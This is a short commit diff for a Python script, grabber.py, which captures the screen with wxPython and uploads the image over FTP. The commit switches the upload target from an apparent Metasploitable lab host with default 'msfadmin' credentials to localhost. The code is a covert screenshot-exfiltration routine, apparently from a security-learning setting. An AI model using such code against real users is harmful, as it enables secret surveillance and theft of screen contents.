update grabber.py

This commit is contained in:
Jimmy Xiang
2020-12-03 21:58:27 +08:00
parent 9a2eb487cc
commit 90c850908e

View File

@@ -9,12 +9,11 @@ bmap = wx.Bitmap(size[0],size[1])
memo = wx.MemoryDC(bmap)
memo.Blit(0,0,size[0],size[1],screen,0,0)
del memo
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)
sess_ = ftplib.FTP("192.168.85.128", "msfadmin", "msfadmin")
sess_ = ftplib.FTP("localhost","flypython", "flypython")
file_ = open("grabbed.png", "rb")
sess_.storbinary("STOR /tmp/grabbed.png", file_)
sess_.storbinary("STOR grabbed.png", file_)
file_.close()
sess_.quit()